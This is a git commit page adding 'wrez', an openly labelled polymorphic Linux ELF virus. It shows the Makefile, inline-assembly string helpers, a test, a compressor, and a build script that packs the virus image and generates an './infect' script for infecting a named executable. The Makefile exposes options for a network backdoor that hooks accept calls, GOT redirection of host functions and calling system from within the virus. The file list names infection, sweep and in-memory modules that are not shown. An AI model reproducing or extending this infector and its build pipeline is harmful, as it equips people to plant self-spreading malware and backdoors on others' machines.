summaryrefslogtreecommitdiff
path: root/other/wrez
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/wrez
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/wrez')
-rw-r--r--other/wrez/Makefile192
-rw-r--r--other/wrez/common.c128
-rw-r--r--other/wrez/commontest.c38
-rwxr-xr-xother/wrez/compress.sh74
-rwxr-xr-xother/wrez/compressorbin0 -> 26881 bytes
-rw-r--r--other/wrez/compressor.c466
-rw-r--r--other/wrez/crypto-test.c32
-rw-r--r--other/wrez/crypto.c24
-rw-r--r--other/wrez/crypto.h23
-rw-r--r--other/wrez/crypto.obin0 -> 2192 bytes
-rwxr-xr-xother/wrez/datebin0 -> 39224 bytes
-rwxr-xr-xother/wrez/date.infectedbin0 -> 45180 bytes
-rw-r--r--other/wrez/debug/pcdebug.c250
-rwxr-xr-xother/wrez/debug/pcdumpbin0 -> 7678 bytes
-rw-r--r--other/wrez/debug/pcdump.c148
-rw-r--r--other/wrez/doc/BUGS_FIXME_FIXME_FIXME5
-rw-r--r--other/wrez/doc/CHANGELOG17
-rw-r--r--other/wrez/doc/CTORS-CALLING-CODE15
-rw-r--r--other/wrez/doc/DEBUGGING2
-rw-r--r--other/wrez/doc/FEATURES65
-rw-r--r--other/wrez/doc/GOOGLE-PROPAGATION12
-rw-r--r--other/wrez/doc/HOOKING82
-rw-r--r--other/wrez/doc/TODO40
-rw-r--r--other/wrez/doc/wrez-manual/wrez.aux15
-rw-r--r--other/wrez/doc/wrez-manual/wrez.cp31
-rw-r--r--other/wrez/doc/wrez-manual/wrez.cps45
-rw-r--r--other/wrez/doc/wrez-manual/wrez.fn0
-rw-r--r--other/wrez/doc/wrez-manual/wrez.ky0
-rw-r--r--other/wrez/doc/wrez-manual/wrez.log180
-rw-r--r--other/wrez/doc/wrez-manual/wrez.pdfbin0 -> 126833 bytes
-rw-r--r--other/wrez/doc/wrez-manual/wrez.pg0
-rw-r--r--other/wrez/doc/wrez-manual/wrez.texinfo635
-rw-r--r--other/wrez/doc/wrez-manual/wrez.toc27
-rw-r--r--other/wrez/doc/wrez-manual/wrez.tp0
-rw-r--r--other/wrez/doc/wrez-manual/wrez.vr0
-rw-r--r--other/wrez/fingerprint.c21
-rw-r--r--other/wrez/fingerprint.h15
-rw-r--r--other/wrez/fingerprint.obin0 -> 4700 bytes
-rwxr-xr-xother/wrez/infect11
-rwxr-xr-xother/wrez/initialbin0 -> 25483 bytes
-rw-r--r--other/wrez/initial.c237
-rwxr-xr-xother/wrez/inmembin0 -> 35752 bytes
-rw-r--r--other/wrez/inmem-test.c24
-rw-r--r--other/wrez/inmem.c300
-rw-r--r--other/wrez/inmem.h35
-rw-r--r--other/wrez/inmem.obin0 -> 15620 bytes
-rw-r--r--other/wrez/int80-net.h429
-rw-r--r--other/wrez/int80.h586
-rw-r--r--other/wrez/isolation/assfault.c107
-rwxr-xr-xother/wrez/isolation/cipher-mrsa-interfacebin0 -> 57358 bytes
-rw-r--r--other/wrez/isolation/cipher-mrsa-interface.c304
-rw-r--r--other/wrez/isolation/cipher-mrsa-interface.h79
-rw-r--r--other/wrez/isolation/cipher-mrsa.c717
-rw-r--r--other/wrez/isolation/cipher-mrsa.h79
-rw-r--r--other/wrez/isolation/cipher-rc4.c81
-rw-r--r--other/wrez/isolation/cipher-rc4.h21
-rw-r--r--other/wrez/isolation/gmon.outbin0 -> 5526 bytes
-rw-r--r--other/wrez/isolation/resolv-grugq-link-technique.c209
-rw-r--r--other/wrez/isolation/rsatest.c101
-rw-r--r--other/wrez/lime-interface-test.c69
-rw-r--r--other/wrez/lime-interface-test.lds32
-rw-r--r--other/wrez/lime-interface.c43
-rw-r--r--other/wrez/lime-interface.h11
-rw-r--r--other/wrez/lime-interface.obin0 -> 2344 bytes
-rw-r--r--other/wrez/lime.asm1338
-rw-r--r--other/wrez/lime.obin0 -> 6960 bytes
-rwxr-xr-xother/wrez/lookup-example/shared-library-build.sh6
-rw-r--r--other/wrez/lookup-example/shared-library-use.c16
-rw-r--r--other/wrez/lookup-example/shared-library.c44
-rw-r--r--other/wrez/lookup-example/shared-library.h10
-rw-r--r--other/wrez/lookup-example/shared-library.obin0 -> 10512 bytes
-rw-r--r--other/wrez/lookup-pm.c522
-rw-r--r--other/wrez/lookup-pm.h85
-rw-r--r--other/wrez/lookup.c485
-rw-r--r--other/wrez/lookup.h77
-rw-r--r--other/wrez/lookup.obin0 -> 14924 bytes
-rw-r--r--other/wrez/obsolete/lime.original.s1332
-rw-r--r--other/wrez/tmp/call.c106
-rw-r--r--other/wrez/tmp/call.c.backup137
-rw-r--r--other/wrez/tmp/elf-runtime-fixup.txt324
-rw-r--r--other/wrez/tmp/foo.c11
-rw-r--r--other/wrez/tmp/memdump.c249
-rw-r--r--other/wrez/tmp/ptrace-legit.c143
-rw-r--r--other/wrez/tmp/str.c30
-rw-r--r--other/wrez/unistd.h281
-rwxr-xr-xother/wrez/victimbin0 -> 45748 bytes
-rw-r--r--other/wrez/walker/README21
-rw-r--r--other/wrez/walker/beautify6
-rwxr-xr-xother/wrez/walker/fixsize14
-rwxr-xr-xother/wrez/walker/plant13
-rwxr-xr-xother/wrez/walker/walkerbin0 -> 12720 bytes
-rw-r--r--other/wrez/walker/walker.c278
-rw-r--r--other/wrez/wrconfig.h82
-rw-r--r--other/wrez/wrcore.c1133
-rw-r--r--other/wrez/wrcore.obin0 -> 27240 bytes
-rwxr-xr-xother/wrez/wrezbin0 -> 10044 bytes
-rw-r--r--other/wrez/wrez-link.lds46
-rw-r--r--other/wrez/wrez.2ndbin0 -> 5549 bytes
-rw-r--r--other/wrez/wrez.2nd.compressedbin0 -> 3866 bytes
-rw-r--r--other/wrez/wrez.asm438
-rwxr-xr-xother/wrez/wrez.binbin0 -> 5808 bytes
-rw-r--r--other/wrez/wrez.bin.conf3
-rw-r--r--other/wrez/wrez.bin.outbin0 -> 4125 bytes
-rw-r--r--other/wrez/wrez.map53
-rw-r--r--other/wrez/wrez.obin0 -> 2240 bytes
-rw-r--r--other/wrez/wrezdefs.h2
-rw-r--r--other/wrez/wrezdefs.inc1
-rw-r--r--other/wrez/wrezsweep.c578
-rw-r--r--other/wrez/wrutil.c306
109 files changed, 14227 insertions, 0 deletions
diff --git a/other/wrez/Makefile b/other/wrez/Makefile
new file mode 100644
index 0000000..680b40d
--- /dev/null
+++ b/other/wrez/Makefile
@@ -0,0 +1,192 @@
1
2VERSION=0.7.8
3DFLAGS += -DPOLYMORPHISM # make the virus polymorph
4
5# LOOKUP module (lookup.[ch])
6#DFLAGS += -DLOOKUP # PLT/GOT capabilities
7#DFLAGS += -DLOOKUP_LIBC_CALL_EXAMPLE # call system from within the virus
8#DFLAGS += -DLOOKUP_GOT_REDIRECTION_EXAMPLE # redirect printf calls of host
9#DFLAGS += -DLOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE # redirect deep calls of libs
10
11# INMEM module (inmem.[ch])
12#DFLAGS += -DINMEM
13
14# FINGERPRINT module (fingerprint.c, crypto.c)
15#DFLAGS += -DFINGERPRINT
16
17# NETWORK BACKDOOR module, using accept
18#DFLAGS += -DLOOKUP_BACKDOOR_NETWORK_MAGIC # hooks all accept calls
19
20
21###
22### DO NOT CHANGE ANYTHING BELOW THIS LINE
23###
24
25CFLAGS += -Wall -fconserve-space -Os -fno-builtin $(DFLAGS) -g -ggdb
26
27OBJS = wrcore.o inmem.o lime.o lime-interface.o lookup.o fingerprint.o crypto.o
28
29
30CC=gcc-2.95
31CC_USER=gcc
32CFLAGS_USER=-Wall -g -ggdb
33
34all: wrez
35
36dist: releaseclean release
37 make distclean
38
39releaseclean: distclean
40 rm -fR release*
41
42release: releaseclean wrez sweep clean
43 rm -fR release*
44 mkdir release-$(VERSION)
45 mv wrez.bin.out wrez.bin.conf initial infect wrezsweep \
46 release-$(VERSION)/
47
48distclean: clean
49 rm -f wrez.map
50 rm -f wrez.bin.out
51 rm -f infect initial
52
53clean: cryptoclean limeclean lookupclean
54 rm -f wrez
55 rm -f *.o
56 rm -f wrezdefs.h wrezdefs.inc
57
58 echo | awk '{ printf ("#define WREZ_CFG_START 0x41414141\n"); }' >> wrezdefs.h
59 echo | awk '{ printf ("#define WREZ_SIZE 0x41414141\n"); }' >> wrezdefs.h
60 echo | awk '{ printf ("wrez_len equ 0x41414141\n"); }' >> wrezdefs.inc
61
62 # additional build process stuff
63 rm -f compressor
64 rm -f wrez.bin wrez.2nd wrez.2nd.compressed
65
66fclean:
67 rm -f wrez *.o
68
69sweep: wrezsweep.c
70 $(CC) -o wrezsweep wrezsweep.c -Wall -g -ggdb
71
72# lookup and linker engine
73lookupclean:
74 rm -f lookup
75 rm -fR lookup-test
76
77lookuptest: lookup.c
78 rm -fR lookup-test
79 mkdir lookup-test
80 cd lookup-example ; ./shared-library-build.sh ; cd ..
81 $(CC_USER) $(CFLAGS_USER) -Llookup-example -lshared-library \
82 -DTESTING -DTESTING_DEBUG -o lookup lookup.c
83 mv lookup lookup-test/
84 mv lookup-example/libshared-library.so lookup-test/
85 mv lookup-example/shared-library-use lookup-test/
86 echo "# use with 'source ldpath.sh' to set LD_LIBRARY_PATH" > lookup-test/ldpath.sh
87 echo >> lookup-test/ldpath.sh
88 echo "export LD_LIBRARY_PATH=\`pwd\`" >> lookup-test/ldpath.sh
89 chmod 755 lookup-test/ldpath.sh
90
91lookuptestpm: lookup-pm.c
92 rm -fR lookup-test
93 mkdir lookup-test
94 cd lookup-example ; ./shared-library-build.sh ; cd ..
95 $(CC_USER) $(CFLAGS_USER) -Llookup-example -lshared-library \
96 -DTESTING -DTESTING_DEBUG -o lookup-pm lookup-pm.c
97 mv lookup-pm lookup-test/
98 mv lookup-example/libshared-library.so lookup-test/
99 mv lookup-example/shared-library-use lookup-test/
100 echo "# use with 'source ldpath.sh' to set LD_LIBRARY_PATH" > lookup-test/ldpath.sh
101 echo >> lookup-test/ldpath.sh
102 echo "export LD_LIBRARY_PATH=\`pwd\`" >> lookup-test/ldpath.sh
103 chmod 755 lookup-test/ldpath.sh
104
105# in-memory infection engine
106inmemtest: inmem.c lookup-pm.c
107 $(CC_USER) $(CFLAGS_USER) -c -o lookup-pm.o lookup-pm.c
108 @echo
109 @echo "# ignore warnings about missing external prototypes in 'inmem'"
110 @echo
111 $(CC_USER) $(CFLAGS_USER) -o inmem inmem.c lookup-pm.o -DTESTING
112 $(CC_USER) $(CFLAGS_USER) -o /tmp/inmem-test inmem-test.c
113 @echo
114 @echo "# fix the page permissions of ./inmem executeable to +rwx on first segment"
115 @echo
116
117# the compressor (not included within final binary)
118compressor: compressor.c
119 $(CC) -o compressor compressor.c -O2 -g -ggdb
120
121initial: initial.c
122# diet $(CC) -static -o initial initial.c -g -ggdb -Wall
123 $(CC) -o initial initial.c -g -ggdb -Wall
124
125# polymorphism engine (lime)
126lime.o: lime.asm
127 nasm -f elf -o lime.o lime.asm
128
129limeclean:
130 rm -f lime-interface-test lime*.o
131
132limetest: lime-interface-test.c lime-interface.o lime.o
133 $(CC) $(CFLAGS) -c -o lime-interface-test.o lime-interface-test.c
134 ld -s -T lime-interface-test.lds -o lime-interface-test
135
136# crypto stuff
137cryptotest: crypto-test.c crypto.c
138 $(CC_USER) $(CFLAGS_USER) -o crypto-test crypto-test.c crypto.c
139 ./crypto-test AAAAAAAA
140 ./crypto-test aaaaaaaa
141
142cryptoclean:
143 rm -f crypto-test
144
145wrez: compress.sh compressor initial wrez.asm $(OBJS)
146
147ifneq ($(final),on)
148 rm -f wrezdefs.inc wrezdefs.h
149 echo | awk '{ printf ("wrez_len equ 0x41414141\n"); }' >> wrezdefs.inc
150 nasm -f elf -o wrez.o wrez.asm
151
152 nm wrez.o | grep "wrcfg$$" | \
153 awk '{ printf ("#define WREZ_CFG_START 0x%s\n", $$1); }' \
154 >> wrezdefs.h
155 echo | awk '{ printf ("#define WREZ_SIZE 0x41414141\n"); }' >> wrezdefs.h
156 # link using preprocessing linkmap description file
157 rm -f wrez-link-actual.lds
158 gcc -E -C -P -nostdinc $(DFLAGS) -x c-header wrez-link.lds > wrez-link-actual.lds
159 ld -Map wrez.map -s -T wrez-link-actual.lds -o wrez
160# ld -Map wrez.map -T wrez-link.lds -o wrez
161 rm -f wrez-link-actual.lds
162 size wrez | grep wrez | \
163 awk '{ if ($$2 != 0 || $$3 != 0) { \
164 printf ("\nWARNING: non-zero absolute elements\n\n"); \
165 exit (1); } }'
166
167 # get proper size
168 size wrez | grep wrez | \
169 awk '{ printf ("#define WREZ_SIZE %s\n", $$1); }' \
170 >> wrezdefs.h
171 cat wrezdefs.h | grep -v "#define WREZ_SIZE 0x41414141" > wrezdefs.h.temp
172 mv wrezdefs.h.temp wrezdefs.h
173
174 # fixup length in .inc assembler include file
175 size wrez | grep wrez | \
176 awk '{ printf ("wrez_len equ %s\n", $$1); }' \
177 > wrezdefs.inc
178
179 make final=on fclean wrez
180else
181 nasm -f elf -o wrez.o wrez.asm
182 rm -f wrez-link-actual.lds
183 gcc -E -C -P -nostdinc $(DFLAGS) -x c-header wrez-link.lds > wrez-link-actual.lds
184 ld -Map wrez.map -s -T wrez-link-actual.lds -o wrez
185 rm -f wrez-link-actual.lds
186
187 echo;echo "### final initial infector built. (version $(VERSION))";echo;size wrez
188
189 ./compress.sh
190endif
191
192
diff --git a/other/wrez/common.c b/other/wrez/common.c
new file mode 100644
index 0000000..f791e63
--- /dev/null
+++ b/other/wrez/common.c
@@ -0,0 +1,128 @@
1
2#ifndef COMMON_C
3#define COMMON_C
4
5#ifndef NULL
6#define NULL ((void *) 0)
7#endif
8
9
10static inline void
11memcpy (void *dst, void *src, unsigned int len)
12{
13 __asm__ __volatile__ ("
14 cld
15 rep movsb
16 " : : "c" (len), "S" (src), "D" (dst));
17}
18
19
20static inline int
21memcmp (unsigned char *s1, unsigned char *s2, unsigned int len)
22{
23 register unsigned int reg_ecx;
24
25 __asm__ __volatile__ ("
26 cld
27 repe cmpsb
28 je lme
29 incl %%ecx
30 lme:
31 " : "=c" (reg_ecx) : "c" (len), "S" (s1), "D" (s2));
32
33 return (reg_ecx);
34}
35
36
37static inline void
38memset (void *dst, unsigned char wrbyte, unsigned int len)
39{
40 __asm__ __volatile__ ("
41 cld
42 rep stosb
43 " : : "c" (len), "D" (dst), "a" (wrbyte));
44}
45
46
47static inline int
48strcmp (unsigned char *s1, unsigned char *s2)
49{
50 register unsigned int reg_ecx;
51
52 __asm__ __volatile__ ("
53 xorl %%ecx, %%ecx
54 xorl %%eax, %%eax
55 pushl %%esi
56 cld
57 ls0: lodsb
58 incl %%ecx
59 or %%eax, %%eax
60 jnz ls0
61
62 popl %%esi
63 repe cmpsb
64 " : "=c" (reg_ecx) : "S" (s1), "D" (s2) : "eax");
65
66 return (reg_ecx);
67}
68
69
70static inline int
71strlen (unsigned char *s1)
72{
73 register unsigned int reg_ecx;
74
75 __asm__ __volatile__ ("
76 xorl %%eax, %%eax
77 movl %%eax, %%ecx
78 decl %%ecx
79 repne scasb
80 not %%ecx
81 decl %%ecx
82 " : "=c" (reg_ecx) : "D" (s1) : "eax");
83
84 return (reg_ecx);
85}
86
87
88#if 0
89/* gcc's version is smaller, doh!
90 */
91static inline int
92strstr (unsigned char *s1_hay, unsigned char *s2_needle)
93{
94 register unsigned int reg_ecx;
95
96 __asm__ __volatile__ ("
97 xorl %%ecx, %%ecx
98 lss_%=: movb (%%esi), %%al
99 orb %%al, %%al
100 jz lso_%=
101 pushl %%esi
102 pushl %%edi
103 ls0_%=: cmpsb
104 jne ls1_%=
105 cmpb $0x0, (%%edi)
106 je lse_%=
107 jmp ls0_%=
108 ls1_%=: popl %%edi
109 popl %%esi
110 incl %%esi
111 jmp lss_%=
112 lso_%=: incl %%ecx
113 lse_%=:
114 " : "=c" (reg_ecx) : "S" (s1_hay), "D" (s2_needle) : "eax");
115
116}
117#endif
118
119
120static inline void
121strcpy (unsigned char *dst, unsigned char *src)
122{
123 memcpy (dst, src, strlen (src) + 1);
124}
125
126#endif
127
128
diff --git a/other/wrez/commontest.c b/other/wrez/commontest.c
new file mode 100644
index 0000000..5ad2982
--- /dev/null
+++ b/other/wrez/commontest.c
@@ -0,0 +1,38 @@
1
2#include <stdio.h>
3#include "common.c"
4
5
6int
7main (int argc, char *argv[])
8{
9 unsigned char foo[4];
10 unsigned char src[64],
11 dst[64];
12
13 memset (src, 'a', 64);
14 src[sizeof (src) - 1] = '\0';
15 memcpy (dst, src, sizeof (dst));
16 src[sizeof (src) - 1] = '\n';
17
18 printf ("memcmp (src, dst, 64) = %d\n",
19 memcmp (src, dst, sizeof (src)));
20
21 printf ("strlen (\"hello world\") = %d\n", strlen ("hello world"));
22 printf ("strlen (\"\") = %d\n", strlen (""));
23
24 foo[3] = '\0';
25 memset (foo, '\x41', 3);
26 printf ("foo[0],[1],[2],[3]: 0x%02x 0x%02x 0x%02x 0x%02x\n",
27 foo[0], foo[1], foo[2], foo[3]);
28
29 printf ("strcmp (\"foobar\", \"foobaz\") == %d\n",
30 strcmp ("foobar", "foobaz"));
31 printf ("strcmp (\"foobar\", \"foobar\") == %d\n",
32 strcmp ("foobar", "foobar"));
33
34
35 return (0);
36}
37
38
diff --git a/other/wrez/compress.sh b/other/wrez/compress.sh
new file mode 100755
index 0000000..2ba65f3
--- /dev/null
+++ b/other/wrez/compress.sh
@@ -0,0 +1,74 @@
1#!/bin/sh
2
3# later gcc versions (also the 2.95 trunk) changed formatting to 64 bit
4cat wrez.map | sed s/0x00000000/0x/g > wrez.map-tmp
5mv wrez.map-tmp wrez.map
6
7skip=`cat wrez.map | mawk '
8/wrez_init/ { wrez_init = $1; }
9/data_start/ { data_start = $1; }
10END { print (data_start - wrez_init); }'`
11
12wrcfgrel=`cat wrez.map | mawk '
13/wrez_init/ { wrez_init = $1; }
14/wrcfg/ { wrcfg = $1; }
15END { print (wrcfg - wrez_init); }'`
16
17echo uncompressed data starts at +$skip
18echo wrconfig structure at +$wrcfgrel
19
20rm -f wrez.bin
21cp wrez wrez.bin
22echo extracting virus image to wrez.bin
23objcopy -j .text -O binary wrez.bin
24
25echo extracting data to compress to wrez.2nd
26rm -f wrez.2nd
27dd bs=1 if=wrez.bin of=wrez.2nd skip=$skip
28
29echo compressing wrez.2nd to wrez.2nd.compressed
30lzstuff=`./compressor -s wrez.2nd wrez.2nd.compressed`
31echo === LZ information: $lzstuff
32
33echo joining the decompressor and the compressed data to wrez.bin.out
34rm -f wrez.bin.out
35dd bs=1 if=wrez.bin of=wrez.bin.out count=$skip
36dd bs=1 if=wrez.2nd.compressed of=wrez.bin.out seek=$skip
37
38echo infecting first victim file
39#rm -f victim
40#cp `which date` victim.clean
41#cp victim.clean victim
42echo
43echo -n "### final virus size: "
44ls -l wrez.bin.out | awk '{ print $5 }'
45echo
46
47echo building configuration file
48rm -f wrez.bin.conf
49cat > wrez.bin.conf << __EOF__
50configrel $wrcfgrel
51skip $skip
52compress $lzstuff
53__EOF__
54
55echo building ./infect script
56rm -f infect
57cat > infect << __EOF__
58#!/bin/sh
59
60if [ \$# != 1 ]; then
61 echo "usage: \$0 pathname"
62 echo
63 exit
64fi
65cp \$1 victim
66./initial victim
67mv victim \$1.infected
68ls -l \$1 \$1.infected
69__EOF__
70chmod 700 ./infect
71echo
72echo "### done, you can infect executeable with \"./infect pathname\" now"
73echo
74
diff --git a/other/wrez/compressor b/other/wrez/compressor
new file mode 100755
index 0000000..e8f2aa6
--- /dev/null
+++ b/other/wrez/compressor
Binary files differ
diff --git a/other/wrez/compressor.c b/other/wrez/compressor.c
new file mode 100644
index 0000000..91f3569
--- /dev/null
+++ b/other/wrez/compressor.c
@@ -0,0 +1,466 @@
1
2/* ripped from:
3 * kim holviala (kimmy/pulp)
4 * sed
5 *
6 * i'm sorry for ripping this, but as i just cut code from it, it does not
7 * matter that much gpl-wise. uhhohh.
8 */
9
10#include <stdio.h>
11#include <stdlib.h>
12#include <string.h>
13
14
15#define byte unsigned char
16#define word unsigned short
17#define dword unsigned long
18
19#define OK 0
20#define ERROR 1
21
22#define MAXSIZE 20000
23
24#define TRUE 1
25#define FALSE 0
26
27
28byte _buffer[MAXSIZE], lzbuffer[MAXSIZE];
29byte * buffer=0;
30word lenght=0, lzlenght=0, hufflimit1=0, hufflimit2=0, lenlimit=0, decodelenght=0;
31int maxhuffman=0, dummy=0;
32int bitpos=0;
33
34char *rotorchar = "-/|\\";
35
36char *info = "Six-2-Four v1.0 - Exepacker for 4Kb-intros.\n"
37 "Copyright (c) Kim Holviala a.k.a Kimmy/PULP Productions 1997.\n"
38 "Linux version - Sed (sed@free.fr) october 1999\n"
39 " Licenced under the terms of the GNU General Public Licence.\n";
40
41char *help = " Usage: 624 [-s] infile [outfile]\n\n"
42 " Where: -s - use super duper compression\n"
43 " infile - tinlinked file shorter than 20000 bytes\n"
44 "This program is EMAILWARE. You're free to use this even with commercial\n"
45 "programs, AFTER you email me to <kimmy@iki.fi> and tell me the name of\n"
46 "your favorite dark beer!\n"
47 "The Linux version you are running in licenced under the terms\nof the GNU General Public Licence.\n"
48 "It requires nasm (available at http://www.web-sites.co.uk/nasm/index.html)\n"
49 "and tinlink 1.0 (available at http://sed.free.fr/tinlink/index.html)\n";
50
51
52
53/*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
54 *
55 * Write one bit to the lzbuffer
56 *
57 *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/
58
59void writebit(word bit) {
60 byte mask = 1;
61
62 mask <<= bitpos;
63
64 if (bit == 0) lzbuffer[lzlenght] &= 255-mask;
65 else lzbuffer[lzlenght] |= mask;
66
67 if (++bitpos > 7) {
68
69 bitpos = 0;
70 lzlenght++;
71
72 /* it's possible to have a bigger file than the original, in that case,
73 * we must stop
74 */
75 if (lzlenght >= MAXSIZE) {
76 fprintf(stderr, "\nSorry, but the compressed file would be too big.\n");
77 exit(1);
78 }
79 }
80}
81
82
83
84/*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
85 *
86 * Write n bits to the lzbuffer
87 *
88 *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/
89
90void writedata(word b, word mask) {
91
92 do {
93 writebit(b & mask);
94 mask >>= 1;
95
96 } while (mask > 0);
97}
98
99
100
101/*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
102 *
103 * Write one "huffman"-coded number to the lzbuffer
104 *
105 *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/
106
107void writehuffman(word number) {
108
109 word mask;
110
111
112 number--;
113
114 if (number < (hufflimit1 * 2)) {
115
116 writebit(0);
117 mask = hufflimit1;
118 }
119 else {
120 number -= (hufflimit1 * 2);
121
122 writebit(1);
123 mask = hufflimit2;
124 }
125
126
127 do {
128 writebit(number & mask);
129 mask >>= 1;
130
131 } while (mask > 0);
132}
133
134
135
136/*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
137 *
138 * Return log2 (if that's what it is?)
139 *
140 *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/
141
142word log2(word l) {
143
144 switch (l) {
145 case 1: return 0;
146 case 2: return 1;
147 case 4: return 2;
148 case 8: return 3;
149 case 16: return 4;
150 case 32: return 5;
151 case 64: return 6;
152 case 128: return 7;
153 case 256: return 8;
154 case 512: return 9;
155 case 1024: return 10;
156 case 2048: return 11;
157 case 4096: return 12;
158 }
159
160 return 0;
161}
162
163
164
165/*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
166 *
167 * Compress the file
168 *
169 *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/
170
171void squeeze(void) {
172
173 int count1=0, count2=0;
174 word bestlen=0, bestpos=0, len=0;
175 byte b=0;
176
177
178 lzlenght = 0;
179 bitpos=0;
180
181 for (count1 = 0; count1 < lenght; count1++) {
182
183 bestlen = 0;
184 b = buffer[count1];
185
186 for (count2 = (count1 - 1); count2 > (count1 - maxhuffman); count2--) {
187
188 if (count2 < 0) break;
189
190 if (buffer[count2] == b) {
191
192 for (len = 1; len < maxhuffman; len ++) {
193
194 if ((count1 + len) > lenght) break;
195 if (buffer[count1 + len] != buffer[count2 + len]) break;
196 }
197
198 if (len > bestlen) {
199
200 bestlen = len;
201 bestpos = count1 - count2;
202 }
203 }
204
205 }
206
207 if (bestlen == 1 && bestpos < 17) {
208
209 writebit(1);
210 writebit(0);
211 writedata(bestpos - 1, 8);
212
213 continue;
214 }
215
216 if (bestlen > 1) {
217
218 if (bestlen < lenlimit) {
219
220 for (count2 = 0; count2 < bestlen; count2++) writebit(1);
221 writebit(0);
222 }
223 else {
224 for (count2 = 0; count2 < lenlimit; count2++) writebit(1);
225 writehuffman(bestlen - 1);
226 }
227
228 count1 += bestlen - 1;
229 writehuffman(bestpos);
230
231 continue;
232 }
233
234 writebit(0);
235 writedata(b, 128);
236 }
237
238 lzlenght++;
239}
240
241
242
243/*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
244 *
245 * Find the best compression values
246 *
247 *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/
248
249void compress(void) {
250
251 word besthl1=0, besthl2=0, bestll=0, bestlzlen;
252 byte rotor = 0;
253
254
255 lenlimit = 9;
256 bestlzlen = 60000;
257
258 for (hufflimit1 = 4; hufflimit1 <= 64; hufflimit1 *= 2)
259 for (hufflimit2 = hufflimit1 * 4; hufflimit2 <= 2048; hufflimit2 *= 2) {
260
261 fflush(stdout);
262 rotor++;
263 rotor&=3;
264
265 maxhuffman = (hufflimit2 + hufflimit1) * 2;
266
267 squeeze();
268
269 if (lzlenght < bestlzlen) {
270
271 besthl1 = hufflimit1;
272 besthl2 = hufflimit2;
273 bestlzlen = lzlenght;
274 }
275 }
276
277 hufflimit1 = besthl1;
278 hufflimit2 = besthl2;
279 maxhuffman = (hufflimit2 + hufflimit1) * 2;
280 bestlzlen = 60000;
281
282 for (lenlimit = 5; lenlimit <= 15; lenlimit++) {
283
284 fflush(stdout);
285 rotor++;
286 rotor&=3;
287
288 squeeze();
289
290 if (lzlenght < bestlzlen) {
291
292 bestll = lenlimit;
293 bestlzlen = lzlenght;
294 }
295 }
296
297 lenlimit = bestll;
298
299 squeeze();
300}
301
302
303
304/*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
305 *
306 * Main
307 *
308 *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/
309
310int
311main (int argc, char *argv[])
312{
313 FILE *out;
314 FILE *fp;
315 char *destfile="un624.linux.compressed.bin.712SAk", *srcfile, slow;
316 char *aoutfile="a.out";
317 long ratio;
318 unsigned long starting_offset, new_offset, memory;
319 char tin[1024];
320
321 buffer=_buffer;
322
323
324 if (argc<2) {
325 puts(help);
326 fprintf(stderr, "Bad number of arguments.\n");
327 return ERROR;
328 }
329
330 if (argv[1][0] == '-') {
331 if (argv[1][1] != 's' || argv[1][2]) {
332 puts(help);
333 fprintf(stderr, "Unkown option '%s'\n", argv[1]);
334 return ERROR;
335 }
336 if (argc < 3 || argc > 4) {
337 puts(help);
338 fprintf(stderr, "Bad number of arguments.\n");
339 return ERROR;
340 }
341 slow = TRUE;
342 srcfile = argv[2];
343 if (argc==4)
344 aoutfile=argv[3];
345 }
346 else {
347 if (argc < 2 || argc > 3) {
348 puts(help);
349 fprintf(stderr, "Bad number of arguments.\n");
350 return ERROR;
351 }
352 slow = FALSE;
353 srcfile = argv[1];
354 if (argc==3)
355 aoutfile=argv[2];
356 }
357
358
359 if ((fp = fopen(srcfile, "rb")) == NULL) {
360
361 printf("File not found!\n");
362 return ERROR;
363 }
364
365 lenght = (word) fread(buffer, 1, MAXSIZE, fp);
366 if (lenght == 0) {
367
368 printf("Error reading from file!\n");
369 fclose(fp);
370
371 return ERROR;
372 }
373
374#if 0
375 lenght-=74;
376 buffer+=74;
377#endif
378
379#if 0
380 if (fread(&dummy, 1, 1, fp) != 0) {
381 printf("File too big (must be < 20000 bytes)!\n");
382 fclose(fp);
383 return ERROR;
384 }
385#endif
386
387 fclose(fp);
388
389
390 if (slow == TRUE) compress();
391 else {
392 hufflimit1 = 16;
393 hufflimit2 = 128;
394 lenlimit = 9;
395 maxhuffman = (hufflimit2 + hufflimit1) * 2;
396 squeeze();
397 }
398
399
400 if ((fp = fopen(aoutfile, "wb")) == NULL) {
